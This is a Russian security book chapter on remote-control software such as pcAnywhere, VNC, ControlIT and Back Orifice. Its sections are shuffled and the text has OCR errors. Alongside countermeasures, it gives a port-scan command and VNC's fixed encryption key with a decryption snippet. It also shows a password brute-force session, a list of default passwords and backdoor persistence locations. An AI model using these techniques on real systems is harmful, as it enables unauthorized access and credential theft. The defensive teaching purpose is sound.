Альтернативная аутентификация



Альтернативная аутентификация

Большинство приложений позволяет активизировать процедуру аутентификации в форме, отличной от принятой в системе NT. Однако по умолчанию этот режим обычно не активизирован. Несмотря на то, что при этом придется поддерживать два набора имен и паролей пользователей, такая возможность с успехом может расстроить планы взломщиков.



Блокирование пользователей которым



Блокирование пользователей, которым не удалось зарегистрироваться

Это одна из наиболее важных возможностей. Однако в большинстве приложений удаленного управления она отсутствует. ReachOut от компании Stac Electronics оказалась единственной из всех протестированных нами программ, в которой реализован так называемый режим IntmderGuard (защита от нарушителей). Для активизации этого важного режима выполните следующие действия.
1. Выберите команду Security.
2. Перейдите во вкладку Connect, в группе User Lockout установите режим Trip IntruderGuard, а затем задайте количество неудачных попыток регистрации, после которых будет активизирован компонент IntruderGuard. Мы рекомендуем разрешить три неудачные попытки регистрации.



Citrix



Citrix

Клиентская программа ICA (Independent Computing Architecture) и программа MultiWin компании Citrix обеспечивают возможность реализации многопользовательской среды в Windows NT, являющейся однопользовательской операционной системой (конечно, терминальный сервер системы NT и Win 2000 с терминальными службами являются исключениями). Серверный продукт WinFrame и программа MetaFrame, предназначенная для использования вместе с NT Terminal Server, предосташшют то, что в мире UNIX имеется уже несколько десятков лет: многопользовательские возможности.
Чтобы в полной мере оценить эту технологию, приведем краткое описание работы системы Windows NT. Эта операционная система не позволяет запускать пользовательские процессы на сервере. Наоборот, когда пользователь начинает работу, например с Word for Windows или Outlook, эти приложения запускаются на его компьютере, используя его оперативную память и файл подкачки, а не сервера. Однако подобную обработку данных лучше выполнять на сервере. Именно в таких случаях оказывается полезной модель компании Citrix. С ее помощью пользователь может зарегистрироваться на терминальном сервере Windows NT и запускать на нем процессы, а также выполнять действия, как будто бы он работал на самом сервере. При этом каждая команда и каждый процесс выполняются на сервере, лишь в небольшой степени используя клиентский компьютер пользователя.
Однако одной из отличительных особенностей программного продукта Citrix, выделяющей ее среди других инструментов информационных технологий, является та самая возможность, с которой связано много хлопот по обеспечению безопасности. В мире Citrix пользователь автоматически получает возможность запускать команды локально. Это означает, что многие программы взлома, такие как GETADMIN и SECHOLE, теперь можно использовать удаленно. Обычно для запуска подобных команд в среде NT взломщик, получивший доступ с правами пользователя, должен расширить свои привилегии и получить права администратора. Но Citrix автоматически предоставляет приглашение командной строки для удаленного запуска таких программ. Более подробную информацию об этом можно найти в главе 5.


Однако программные продукты компании Citrix обладают тем преимуществом, что при аутентификации больше не используются порты 135 и 139. Фактически взломщики могут находиться на волосок от системы, но так и не подобраться к ней, поскольку открытым является только TCP/UDP порт 1494, которого в списке сканирования портов обычного взломщика может не оказаться.



Дополнительные возможности использования паролей



Дополнительные возможности использования паролей



Программы Timbuktu и pcAnywhere предоставляют дополнительные возможности использования паролей, которыми следует пользоваться при любой возможности. Так, в pcAnywhere можно защитить паролем профили как исходящего, так и входящего соединения. Это не позволит кому-либо постороннему выведать пароль аутентификации, скрытый за звездочками. Установить пароль на доступ к профилям программы pcAnywhere (т.е. повысить уровень безопасности) можно в диалоговом окне NETWORK Properties во вкладке Protect Item, как показано на следующем рисунке.
Помимо аналогичных возможностей, программа Timbuktu позволяет ограничить доступ к параметрам безопасности.




pcAnywhere
На современном рынке программа pcAnywhere компании Symantec (http://www.symantec.com) является одной из самых популярных. В значительной мере ее притягательность для потребителя определяется ее безопасностью. У всех приложений есть свои недостатки, но по сравнению с другими программными продуктами pcAnywhere обладает наиболее мощными средствами обеспечения безопасности. К другим возможностям относятся надежное шифрование паролей, механизм альтернативной аутентификации, установка паролей на файлы профилей и конфигурационных параметров, выход пользователя из системы после завершения сеанса связи, шифрование сетевого трафика, ограничение числа попыток регистрации, а также регистрация неудачных попыток. К сожалению, как и многие другие приложения, pcAnywhere не способна противостоять программе Revelation, предназначенной для получения пароля. Более подробную информацию по этому поводу можно найти в . разделе этой главы "Раскрываемые Пароли".


Изъяны программ удаленного управления



Изъяны программ удаленного управления

Часто приходится слышать, что уровень защищенности узла определяется прочностью самого слабого звена. Однако по отношению к программному обеспечению удаленного управления дело обстоит несколько иначе. Если узел удалось взломать (см. главу 5), то злоумышленники смогут воспользоваться обнаруженными изъянами и позже подключиться вполне законным путем. Например, некоторые старые программные продукты не шифруют имена и пароли пользователей, что дает возможность взломщикам извлечь их из файлов, с экрана монитора, или, еще хуже, из сетевого трафика. Единственный способ убедиться в том, что программные продукты надежно защищены, заключается в проведении их тестирования.
В программах удаленного управления имеется несколько изъянов. Тем не менее. проверить придется наличие каждого из них. Ниже перечислены некоторые известные проблемы.
Имена и пароли пользователей передаются в виде незашифрованного текста.  Использование слабых алгоритмов шифрования паролей (например, с использованием подстановки).  Раскрываемые пароли (которые можно извлечь удаленно с применением средств с графическим интерфейсом либо скопировав требуемые файлы на локальный компьютер).  Загружаемые профили.



Изъяны средств удаленного управления



Изъяны средств удаленного управления

Неотъемлемой чертой глобальной единой экономики является то, что и управлять ею нужно глобально. Вспомогательный персонал не всегда может оказаться на месте, чтобы подойти к закапризничавшему компьютеру и устранить проблему. Какой же выход? Программное обеспечение удаленного управления.
Такие программы, как pcAnywhere, ControlIT, ReachOut и Timbuktu, стали настоящей находкой для администраторов, позволяя им виртуально перемешаться на компьютеры пользователей и устранять проблемы или помогать выполнять стоящие перед ними задачи. К сожалению, такое программное обеспечение зачастую неправильно настроено или имеет изъяны в подсистеме защиты. Это позволяет взломщикам получать доступ к системам, переписывать секретную информацию, или, хуже того, использовать данный компьютер для взлома всей сети компании, создавая при этом впечатление, что эту атаку предпринял сотрудник данной организации.
В этой главе обсуждаются приемы, используемые взломщиками для поиска перечисленных программ в сети какой-либо организации (в главе 9 изложена подробная информация об удаленном управлении через модемное соединение). Кроме того вы узнаете, как злоумышленники пользуются ошибками в конфигурационных параметрах и дырами в системе защиты, а также о том, какие шаги следует предпринять, чтобы устранить все найденные изъяны.



Изменение порта прослушиваемого по умолчанию



Изменение порта, прослушиваемого по умолчанию

Многие не рассматривают изменение порта, используемого по умолчанию, как эффективную меру повышения безопасности, поскольку в ее основе лежит внутренне противоречивая парадигма "безопасность за счет сокрытия". Однако полученный нами практический опыт говорит о том, что применение подобных правил является достаточно эффективным. Другими словами, для обеспечения безопасности нужно предпринимать любые возможные меры. Пусть данная мера не позволит полностью защитить систему, но по крайней мере она может задержать дальнейшее продвижение взломщика,



Какой пакет является наилучшим с точки зрения безопасности



Какой пакет является наилучшим с точки зрения безопасности

К сожалению, на поставленный вопрос ответить нелегко. Каждый программный продукт имеет свои преимущества и недостатки. Наилучший пакет должен сочетать в себе возможности различных программ. Обладая всеми другими современными возможностями, он, скорее всего, оказался бы слишком сложным. Далее приводится краткое описание основных средств удаленного управления, а также их сравнительная характеристика.



Кодирование сообщений во время сеанса связи



Кодирование сообщений во время сеанса связи

В более ранних версиях многих программ удаленного управления можно было перехватить имена пользователей и пароли во время их передачи по сети или разгадать простые алгоритмы шифрования. Удостоверьтесь в том, что используется наивысший уровень шифрования, обеспечиваемый программным обеспечением. Наилучшим средством для проверки надежности алгоритмов шифрования является программа анализа сетевых пакетов SnifferPro от компании Network Associates (http://www. nai.com) Остается только удивляться, насколько слабыми оказываются алгоритмы шифрования, применяемые в некоторых программных продуктах.



Контрмеры предотвращение перехвата сетевого трафика



Контрмеры: предотвращение перехвата сетевого трафика

К счастью, существуют различные механизмы, которые можно использовать для шифрования трафика VNC. Первым и основным из них является использование оболочки ssh, с помощью которой можно организовать защищенный канал между клиентом и сервером VNC. . Кроме того, к исходному коду пакета VNC можно применить дополнительные модули (http://web.mit.edu/thouis/vnc/), которые позволяют реализовать шифрование по открытому ключу. И наконец, для контроля каждого IP-адреса, с которого происходит доступ, можно использовать ТСР-оболочки (http://www.uk.research.att.com/vnc/archives/1998-09/0168.html).



Контрмеры против ненадежного хранения паролей VNС



Контрмеры против ненадежного хранения паролей VNС

В последней версии программы, доступной во время написания данной книги, этот недостаток все еще не был устранен. Наилучшей зашитой от доступа взломщиков к системному реестру является использование средств обеспечения безопасности на уровне серверов. В главах 5 и 6 приведен исчерпывающий список мер предосторожности систем Windows NT и 2000.



Контрмеры защита от подбора паролей VNС



Контрмеры: защита от подбора паролей VNС

При настройке сервера VNC важно выбрать надежный пароль. В нем должно содержаться не меньше восьми символов. Пароль не должен быть словом или производной от слова, найденного в словаре. Не забывайте о том, что пароль — это единственная преграда, стоящая между взломщиком и системой. Так что выбирайте его очень внимательно!



Ненадежный метод хранения паролей VNC



Ненадежный метод хранения паролей VNC

В октябре 1999 года Конд Вампиро (Conde Vampiro) сообщил о некоторых изъянах программы VNC (http://www.roses-labs.com/advisory/RLvncbug.txt). Самый серьезный недостаток связан с тем, как служба VNC хранит пароль сервера VNC (а именно в системном реестре Windows). Хотя пароль сервера VNC шифруется с помощью алгоритма 3DES, при этом пароль каждый раз сохраняется с использованием фиксированного ключа (23 82 107 6 35 78 88 7). Это еще один наглядный пример неумелого применения надежного алгоритма шифрования (3DES). Поскольку ключ известен, то можно без проблем расшифровать пароль любого сервера VNC.
Пароль VNC хранится в ключе системного реестра HKEY_USERSX.DEFAULT\ SOFTWARE\ ORL\WinVNC3\Password. В нашем примере этот ключ представлен следующим блоком данных
2F 98 ID С5 48 ЕО 9Е С2
Если сервер, на котором запущена служба VNC, взломан, то для получения пароля VNC можно воспользоваться программой vncdec (более подробную информацию о взломе систем Windows NT и 2000 можно найти в главах 5 и 6 соответственно). Перед компиляцией исходного файла его нужно немного изменить, чтобы строка паролей выглядела следующим образом.

/*поместите в массив р[] хеш-код пароля*/
char p[]=(Ox2F, 0x98, OxlD, OxC5, 0x48, OxEO, Ox9E, ОхС2};

После этого можно скомпоновать исполняемый файл vndec, а затем запустить его.

[shadow]# vncdec
test

Как видно из примера, пароль сервера test без особых усилий можно перевести в незашифрованный текстовый формат.

Незашифрованные имена пользователей и пароли



Незашифрованные имена пользователей и пароли

Программа Remotely Possible 4.0 компании Computer Associates не обеспечивает никакой защиты имен пользователей и паролей. Как видно из Рисунок 13.1, в файле \PROGRAM FILES\AVALAN\ REMOTELY POSSIBLE\MAIN.SAB. Эти данные хранятся в текстовом формате — все ключи от королевства в одном месте!



Обзор программ удаленного управления



Обзор программ удаленного управления

Каждая программа, предназначенная для работы в сети, ожидает установки соединений, открывая для этого определенные порты узла. Число и тип этих портов полностью определяется самой программой. Сканируя порты какого-то компьютера, можно определить все работающие на нем программы удаленного управления. Остается только удивляться, как много пользователей устанавливают такое программное обеспечение без соответствующих санкций и требуемой поддержки.
В табл. 13.1 перечислены различные программные продукты удаленного управления, а также прослушиваемые порты, используемые этими программами по умолчанию. В этом списке содержатся лишь общие сведения, поскольку многие продукты, как указано в таблице, позволяют использовать для входящих соединений любой свободный порт.
Не забывайте о том, что для использования нужных портов изменить параметры следует как на узле, так и компьютере, с которого устанавливается соединение. Если изменить номер порта только на одном из двух соединяемых компьютеров, в настройках второго все равно останется порт 65301, установленный по умолчанию для соединений TCP. Работая на компьютере под управлением операционной системы Windows, для сканирования портов мы рекомендуем воспользоваться одной из таких замечательных программ, как NetScanTools Pro 2000, SuperScan, NTOScanner, WinScan, ipEye или WUPS, описанных в главе 2. Можно также проверить, как работает программа fscan компании Fundstone, которую можно найти по адресу http://www.foundstone.com. Каждая из этих быстрых, гибких и надежных утилит предназначена для идентификации портов, используемых службами удаленного управления.
Чтобы выполнить сканирование портов с компьютера под управлением системы Linux, всегда можно воспользоваться проверенной программой-сканером nmap (http://www. insecure.org/nmap), с помощью которой поиск требуемого программного обеспечения можно вести по всей подсети, nmap -sS -p 407,799,1494,2000,5631,5800,43188 -n 192.168.10.0/24



Один из возможных способов повышения



Рисунок 13.3. Один из возможных способов повышения уровня безопасности программы pcAnywhere заключается в использовании чувствительных к регистру паролей. Убедитесь, что установлен именно этот режим!




Ограничение числа попыток регистрации



Ограничение числа попыток регистрации

Большинство приложений позволяет ограничить количество попыток регистрации. В случае превышения заданного значения система будет заблокирована. Данная возможность хороша тем, что может отпугнуть взломщика, и он обратит свое внимание на менее защищенные системы. Даже если этого не произойдет, администратор сможет узнать об атаке и предпринять соответствующие меры. Мы рекомендуем ограничиться тремя неудачными попытками регистрации.



Пароли шифруемые с помощью алгоритма подстановки



Пароли, шифруемые с помощью алгоритма подстановки

Предполагалось, что в программе ControlIT 4.5 (новой версии программы Remotely Possible 4.0) будут устранены недостатки предыдущей версии, в которой имена пользователей и пароли хранились в виде незашифрованного текста. Однако вместо реализации надежного алгоритма шифрования компания применила простой алгоритм подстановки, который, кроме того, используется только для шифрования паролей. Например, пароль abcdabcd выглядит следующим образом. р | x d р | х d
Зная это, можно составить схему подстановки всех символов алфавита и легко расшифровать любой пароль. Поскольку имена пользователей по-прежнему содержатся в виде незашифрованного текста, то охота будет весьма результативной.



Перехват сетевого трафика



Перехват сетевого трафика

Если пакет VNC установлен без каких бы то ни было модификаций, то после аутентификации шифрование потока сообщений между клиентом и сервером не выполняется. Не стоит надеяться на то, что если этот поток сообщений сжат, то его труднее перехватить, чем, скажем, в сеансе telnet. Поскольку файлы с исходным кодом VNC найти очень легко, то не составит особого труда и разработать специальный перехватчик сообщений VNC. Поэтому установка соединения с сервером VNC без применения шифрования сопряжена с большим риском. Хотя исходный пароль VNC передается с использованием механизма "вопрос/ответ", весь поток сообщений передается в незашифрованном виде. Вполне возможно, что взломщик сможет отследить передаваемые сообщения и перехватить пароли, вводимые пользователями при регистрации.



Прямой подбор паролей VNC



Прямой подбор паролей VNC

Основным механизмом защиты сервера VNC от несанкционированного доступа является пароль, выбранный системным администратором. В этой книге уже не раз отмечалось, что взлом проще всего осуществить, если используются ненадежные пароли. Поскольку серверу VNC зачастую предоставляются высокие привилегии, решительно настроенный взломщик, проявив определенное упорство, сможет подобрать пароль сервера VNC "в лоб", простым перебором. Для подбора паролей VNC можно воспользоваться дополнительной программой rfbproto.c , которую можно применить к клиентскому приложению vncviewer. С помощью команды patch программу rfbproto.c нужно применить к пакету vnc-3.3.3rl_unixsrc.tgz. В следующем примере демонстрируется, как легко подобрать пароль сервера VNC.

[crush] # vncviewer 192.168.1.101
v'MC server supports protocol version 3.3 (viewer 3.3)
Trying password '#!comment:' VNC authentication failed
Trying password 'Common'
VNC authentication failed
Trying password 'passwords,'
VNC authentication failed
Trying password 'compiled1
VNC authentication failed
Trying password 'passwd'
VNC authentication failed
Trying password 'test'
VNC authentication succeeded
Desktop name "twistervm"
Connected to VNC server, using protocol version 3.3

Модифицированный клиент vncviewer быстро перебрал предоставленный список паролей и отгадал пароль test. После этого программа vncviewer соединилась с удаленным сервером и взломщик получил полный контроль над системой. Подобный подбор паролей производится очень быстро, и сервер VNC никак не реагирует на неудачные попытки регистрации.

Раскрываемые пароли



Раскрываемые пароли

Программа Revelation компании SandBoy Software (http://www.sandboy.com) представляет собой одно из незаменимых средств. Единственный исполняемый файл размером 14 Кбайт позволяет получить хранящиеся в оперативной памяти пароли многих популярных программ удаленного управления.
Каждому знакомо диалоговое окно пароля, в котором вместо вводимых символов появляются звездочки. Оказывается, что в этом окне пароль никак не шифруется, а просто замешается. Этот изъян имеется во многих приложениях, включая pcAnywhere (без модуля обновления), VNC и Remotely Possible/ControlIT. С помощью утилиты Revelation можно извлечь пароль, который скрывается за звездочками, просто перетащив мышкой объект Revelation в требуемое поле.
С другой стороны, программы ReachOut, Remotely Anywhere, Timbuktu и версия пакета pcAnywhere с модулем обновления защищены от подобной деятельности. В программах ReachOut и Remotely Anywhere это обеспечивается благодаря тому, что для управления учетными записями в них используются средства диспетчера пользователей NT. Программа Timbuktu, диалоговое окно которой приведено на следующем рисунке, тоже является достаточно надежной, поскольку в ней используется более безопасный механизм шифрования паролей.




ReachOut



ReachOut

Программа ReachOut компании Stac Electronics (http://www.stac.com)— еще один добротный программный продукт, предназначенный для удаленного управления. Однако он предоставляет меньше возможностей для обеспечения безопасности. В этой программе отсутствуют средства реализации строгой политики выбора паролей, альтернативной аутентификации, а также защиты паролем файлов профилей и конфигурационных параметров. Однако не все упрощения программы ReachOut являются отрицательными. Она использует единственный порт TCP/UDP с номером 43188, что значительно ограничивает возможности взломщиков.



Remotely Anywhere



Remotely Anywhere

Remotely Anywhere (http://www.remotelyanywhere.com) является новичком среди программ данного класса, однако, несмотря на это, выглядит многообещающей. Этот программный продукт позволяет удаленно управлять рабочим столом, а по возможностям общего системного управления программа Remotely Anywhere выделяется среди других средств. Кроме обычных функций удаленного управления, с помощью Web-броузера она позволяет выполнять почти все административные функции, имеющиеся в системе NT.
Пользователи, группы, системный реестр, журналы регистрации, процессы, планирование выполнения задач, список процессов, диспетчер файлов, драйверы, служебные программы — все эти компоненты можно настраивать через Web-броузер, а затем управлять ими. Это означает, что для управления системой NT даже не нужен графический интерфейс.
Естественно, программа Remotely Anywhere не лишена недостатков. Если взломщики смогут получить доступ к системе, то для выполнения дальнейших действий им не нужно будет ждать, пока пользователи уйдут домой. Достаточно просто запустить служебный процесс и приступить к работе. К сожалению, в настоящее время в программе Remotely Anywhere отсутствует альтернативный механизм аутентификации, отличный от аутентификации системы NT. Поэтому она становится уязвимой сразу после того, как будет взломана сама система. Программа Remotely Anywhere позволяет повысить уровень защиты, если включен режим блокирования IP-адресов (Рисунок 13.4). По умолчанию эта возможность не используется, хотя она позволяет блокировать доступ злоумышленникам после нескольких неудачных попыток регистрации.
С точки зрения управляемости программа Remotely Anywhere превосходит такие стандартные служебные программы с графическим интерфейсом, как User Manager, Event Viewer и REGEDIT32, поскольку они функционируют локально и для завершения операций требуется некоторое время. Например, через Web-броузер можно добавить пользователя или группу и тут же получить результат, тогда как при использовании стандартных утилит управления придется ожидать, пока графический интерфейс перешлет управляющие команды в систему. Достоинством программы Remotely Anywhere является то, что в ней имеются некоторые средства повышения уровня безопасности, которые достойны того, чтобы их использовать.
 Защищенный канал на базе протокола SSL (порт 2001).  Фильтрация IP-адресов.  Блокирование IP-адресов. Защищенная аутентификация NTLM.



Remotely Possible/ControllT



Remotely Possible/ControllT

ControlIT — известный и популярный продукт компании Computer Associates (http://www.cai.com). Однако эта программа предоставляет наиболее низкий уровень безопасности. Помимо того что в ее более ранних версиях использовались имена и пароли в виде незашифрованного текста, даже в последних версиях реализованы ненадежные алгоритмы шифрования, что делает пароли уязвимыми для злоумышленников. Производители не обеспечили поддержки строгой политики использования паролей, а также возможности установки пароля для доступа к файлам профилей и конфигурационных параметров. Кроме того, в программе отсутствуют средства аудита неудачных попыток регистрации и защита от применения программы Revelation.



Программное обеспечение удаленного управления существенно



Резюме

Программное обеспечение удаленного управления существенно облегчает управление распределенными сетевыми узлами. Настроив эти программы надлежащим образом, администратор может облегчить свою жизнь, соединяясь с рабочими станциями пользователей и устраняя практически любую проблему.
Однако параметры, используемые в таких программах по умолчанию, не обеспечивают достаточно высокого уровня безопасности. В некоторых из них применяется лишь механизм аутентификации системы NT, другие ненадежно шифруют сетевой трафик или не обеспечивают надежного хранения паролей. В то же время большинство этих приложений позволяет добиться более высокого уровня защиты. Кроме того, следуйте приведенным рекомендациям, и применяйте все доступные модули обновления.

Соединение



Соединение

Как только взломщик получит всю необходимую информацию о службах удаленного управления рабочих станций и серверов, скорее всего, он попытается получить к ним доступ. После установки с параметрами, используемыми по умолчанию, практически все приложения удаленного управления позволяют устанавливать соединение любому пользователю. Причем для этого не требуется указывать ни имя, ни пароль. (Взломщикам это нравится.)
Единственный способ проверить, защищен ли паролем подобный программный пакет, — это попытаться установить соединение "вручную", воспользовавшись соответствующим программным обеспечением. Нам ничего неизвестно о каких-либо сценариях, которые позволяют автоматизировать этот процесс. Не стоит волноваться, если вы обнаружили в сети компьютер с каким-нибудь приложением удаленного управления и не имеете соответствующей полнофункциональной версии (скажем, Timbuktu или ControllT). Ее всегда можно найти в Web. В Internet можно найти также демонстрационные и пробные версии почти всех популярных программ удаленного управления.
Установите эти программы и попытайтесь соединиться с требуемыми узлами по очереди. Как насчет пользователей, которые используют пустой пароль? Если на экране не появилось приглашения для ввода имени пользователя, то как подарок рождественским утром на нем отобразится диалоговое окно приложения удаленного управления.
Если эта простая атака завершилась неудачей, можно выполнить инвентаризацию пользователей (более подробная информация об этом содержится в главе 3) и попытаться воспользоваться их именами. Во многих программах удаленного управления для аутентификации по умолчанию используются те же имена и пароли, что и в операционной системе NT. Имея в своем распоряжении системные имена, можно снова связаться с удаленным узлом и попробовать каждое из полученных имен пользователей, а также такие общепринятые пароли, как <пробел>, "имя_пользователя", password, admin, secret, <имя_компании> и т.д. Если это не принесет результатов, значит, данная программа, по крайней мере, надежно защищена паролем.



Программное обеспечение



Таблица 13.1. Программное обеспечение удаленного управления, обнаруживаемое при сканировании определенных портов

Программа
TCP
UDP
Возможность использования альтернативных портов
Citrix ICA
1494
1494
Неизвестно
pcAnywhere
22,5631,5632,65301
22, 5632
Да1
ReachOut
43188
Нет
Нет
Remotely Anywhere
2000, 2001
Нет
Да
Remotely Possible/ControllT
799, 800
800
Да
Timbuktu
407
407
Нет
VNC
5800, 5801..., 5900, 5901...
Нет
Да
Терминальные службы системы Windows
3389
Нет
Нет

Как всегда, для одновременного сканирования нескольких сетей и обнаружения всех систем, от которых можно ждать неприятностей, мы рекомендуем использовать сценарий на языке Perl, который можно найти на Web-узле http://www.hackingexposed.com.



Timbuktu



Timbuktu

Приложение Timbuktu Pro 32 компании Netopia (http://www.netopia.com) — еще одно средство удаленного управления, широко применяемое в больших организациях. Эта программа предоставляет все стандартные инструменты удаленного управления, а также несколько дополнительных возможностей. Этот программный продукт позволяет совместно использовать экран нескольким пользователям одновременно, а также обладает такими надежными средствами защиты, как ограничение минимальной длины пароля, управление повторным использованием паролей, альтернативная аутентификация
и ограничение срока, в течение которого можно использовать один и тот же пароль. Что самое приятное, программа Revelation не способна выявить пароль, используемый в приложении Timbuktu, что значительно повышает его надежность.



Учет неудачных попыток регистрации



Учет неудачных попыток регистрации

Следует регистрировать как успешные, так и неудачные попытки регистрации. Для этого можно использовать либо журнал регистрации событий системы NT, либо соответствующие файлы самих приложений удаленного управления. Эта информация значительно облегчит обнаружение попыток взлома и выявление злоумышленников.



Усиленные требования к паролям



Усиленные требования к паролям

Некоторые приложения, такие как pcAnywhere, позволяют повысить требования к используемым паролям, например сделать их чувствительными к регистру. Чтобы активизировать этот режим, откройте диалоговое окно свойств сети (NETWORK properties). Затем перейдите во вкладку Security Options и установите флажок Make passwords case sensitive. Как видно из Рисунок 13.3, этот режим по умолчанию отключен.
Программа Timbuktu обладает аналогичным механизмом защиты паролей. Как показано на следующем рисунке, можно ограничить возможность их повторного использования, задать минимальную длину пароля и количество дней, в течение которых его можно использовать.



В окне текстового редактора видно



Рисунок 13.1. В окне текстового редактора видно, что имена пользователей и пароли программы Remotely Possible 4.0 хранятся в виде незашифрованного текста: пользователем TEST применяется пароль abcabc


После обнаружения этого факта компания Computer Associates выпустила модуль обновления, обеспечивающий некоторый уровень шифрования конфиденциальной информации. Предполагалось, что этот модуль обновления вместе с новой версией программного продукта, ControlIT 4.5, позволит зашифровывать пароли, хранящиеся в файле VAIN . SAB. Весь вопрос в том, насколько надежной окажется такая защита.



В программе pcAnywhere 8 0 по



Рисунок 13.2. В программе pcAnywhere 8.0 по умолчанию используется режим Allow Full /Access То All Callers




Virtual Network Computing (VNC)



Virtual Network Computing (VNC)

Программа Virtual Network Computing разработана в Англии, в лаборатории AT&T Research Labs Кембриджского университета. Ее можно найти по адресу http://www.uk. research.att.com/vnc. Программа обладает многими уникальными возможностями. Во-первых, ее можно использовать на многих платформах. Этот программный продукт можно устанавливать на компьютеры под управлением системы Windows, Linux и Solaris, а просматривать — в Windows, Linux, Solaris, Macintosh и даже с помощью Windows СЕ. Кроме того, эта программа имеет интерфейс на языке Java, что позволяет ее использовать через такие Java-совместимые броузеры, как Netscape Communicator и Microsoft Internet Explorer. Лучше всего то, что программа VNC является бесплатной!
Поскольку программа VNC обладает такими богатыми функциональными возможностями, неудивительно, что работа с этим продуктом сопряжена с некоторыми серьезными проблемами, связанными с нарушением безопасности. Она оказывается уязвимой при использовании программы Revelation. Как было показано в главе 5, через удаленное соединение программу VNC можно легко установить в системе Windows NT. Все что для этого требуется, — это инсталлировать службу VNC из командной строки после единственного изменения удаленного системного реестра, что позволит запустить ее в скрытом режиме. Конечно же, независимо от версии в списке Process List все равно будет содержаться процесс winVNC. EXE. Однако важнее всего то, что программа VNC подвержена следующим атакам.
Прямой подбор паролей VNC. Ненадежные пароли позволят взломщику получить полный контроль над системой, в которой запущен сервер VNC.  Перехват сетевого трафика. По умолчанию после аутентификации пользователя сервер VNC не выполняет шифрования данных.  Ненадежный метод хранения паролей WinVNC. Пароли сервера хранятся в таком виде, что взломщик все равно сможет их восстановить в незашифрованной форме. Ниже каждая из этих атак будет рассмотрена более подробно.



Выход из системы после завершении сеанса связи



Выход из системы после завершении сеанса связи



Программы Remotely Possible/ControlIT, pcAnywhere и ReachOut можно настроить так, чтобы после окончания сеанса связи выполнялся также выход из системы. Такая возможность оказывается чрезвычайно важной, поскольку если администратор забудет выйти из системы после выполнения своей работы, кто-либо другой сможет воспользоваться его привилегиями.
Чтобы включить этот режим в программе ReachOut, выполните следующие действия.
1. Выберите команду Security.
2. Перейдите во вкладку Disconnect и установите режим Log The Current User Off This Computer.



Загрузка профилей Как только взломщикам



Хотя необходимость этой меры предосторожности очевидна и интуитивно понятна всем администраторам, имена пользователей и пароли на удаленных узлах применяются далеко не всегда. Производители программ тоже не всегда стремятся помочь в данной ситуации, надеясь на администраторов. Как видно из Рисунок 13.2, схема аутентификации, используемая в программе pcAnywhere по умолчанию, является весьма либеральной. Чтобы исправить эту ситуацию, просто установите режим Specify individual caller privileges.



Аудит проверка учетных записей



Аудит, проверка учетных записей и ведение журналов регистрации

Это последняя по порядку, но не по степени важности, контрмера, поскольку невозможно идентифицировать вторжение, если не активизированы средства оповещения. Убедитесь, что подключены встроенные возможности аудита. Например, в NT политику аудита можно настроить с помощью диспетчера пользователей, а в 2000 — с использованием аплета Security Policy. To же самое можно осуществить с помощью утилиты auditpol из набора NTRK. Файловая система NTFS позволяет отслеживать доступ на уровне отдельных файлов. Для этого в окне проводника Windows щелкните правой кнопкой мыши на требуемой папке или на файле, выберите команду Properties, перейдите во вкладку Security, щелкните на кнопке Auditing и настройте нужные параметры.

Известно, что в системе NT4 ведение полного аудита приводит к снижению производительности, поэтому многие не пользовались этой возможностью. Однако тестирование Windows 2000 показало, что в этой операционной системе в режиме аудита потребление ресурсов значительно снижено и замедление ее работы неощутимо даже при использовании всех предоставляемых возможностей.

Конечно, если журнал регистрации не просматривается регулярно, если его содержимое удаляется из-за недостатка свободного пространства на диске или из-за плохой организации, то даже самый полный аудит окажется бесполезным. Однажды мы посетили Web-узел, который был предупрежден об атаке еще за два месяца до ее реализации. И это случилось только благодаря тому, что некоторые системные администраторы старательно вели журналы регистрации. Чтобы не потерять такую важную информацию, разработайте политику регулярного архивирования журналов регистрации. Многие компании регулярно импортируют их в базы данных, чтобы облегчить процесс поиска и автоматизировать систему оповещения об опасности.
Кроме того, внимательно следите за необъяснимыми изменениями учетных записей. Здесь могут пригодиться программы сторонних производителей, позволяющие получить "мгновенный снимок" системы. Например, программы DumpSec (ее предыдущая версия называется DumpACL), DumpReg и DumtEvt компании Somarsoft (http://www.-somarsoft.com) предоставляют практически всю нужную информацию о системах NT/2000. Запуск этих утилит выполняется из командной строки. 

Back Orifice и NetBus



Back Orifice и NetBus

Хотя оба этих средства по своей природе являются графическими (NetBus даже предоставляет некоторые возможности по управлению рабочим столом), они главным образом удаленно вызывают функции программного интерфейса API. Так что лучше их расценивать их как инструменты создания "потайных ходов", предназначенные для выполнения удаленных команд, а не как графические утилиты удаленного управления. Возможности каждой из этих утилит описаны в главах 4 и 5. Здесь же мы лишь еще раз перечислим те места, в которых взломщики могут скрытно размещать эти средства, чтобы администраторам было легче их разыскать.
Сервер Back Orifice (ВО) можно настроить так, чтобы он устанавливался и запускался под любым именем (по умолчанию используется имя [пробел] ,ехе). При этом в параметр HKEY_LOCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersicn\RunServices добавляется новая запись, так что сервер ВО будет запускаться каждый раз при загрузке системы и прослушивать порт 31337, если не задано другого значения. (Угадайте, почему выбран именно этот порт?)
Летом 1999 года вышла новая версия пакета Back Orifice. Back Orifice 2000 (BO2K. http://www.bo2k.com), обладающая всеми возможностями своей предшественницы, но с двумя примечательными особенностями. Его можно использовать в Windows NT/2000 (а не только Win 9.x), а, кроме того, имеется комплект инструментов разработчика, позволяющий создавать модификации программы, что значительно затрудняет ее обнаружение. По умолчанию программа ВО2К самостоятельно копируется в файл UMGR32.EXE каталога %systemroot% и прослушивает TCP-порт 54320 или UDP-порт 54321. При этом в списке процессов сервер ВО2К отображается под именем EXPLORER, что предотвращает попытки его удаления. Если программа работает в скрытом режиме, то она устанавливается в качестве службы с именем Remote Administration Service (служба удаленного администрирования) и в параметре системного реестра HKLM\SOFTWAREXMicrosoft\ Windows\CurrentVersion\RunServices содержатся соответствующие данные. При этом запуск "службы" выполняется при загрузке системы, л исходный файл удаляется. Все эти параметры легко изменить с помощью утилиты bo2kcfg.exe, которая входит в состав пакета.
Программа NetBus также является достаточно легко настраиваемой, и в Internet можно найти несколько ее версий. По умолчанию исполняемый файл сервера называется patch.exe, хотя он может иметь и любое другое имя. Для того чтобы это серверное приложение запускалось каждый раз при загрузке системы, в параметр HKEY_LCAL_MACHINE\Software\Microsoft\ Windows\CurrentVersion\Run помещается соответствующая запись. По умолчанию программой NetBus прослушивается порт TCP 12345 или 20034 (при желании эти значения также можно изменить).



Библиотека FPWNCLNT DLL для Windows NT



Библиотека FPWNCLNT . DLL для Windows NT

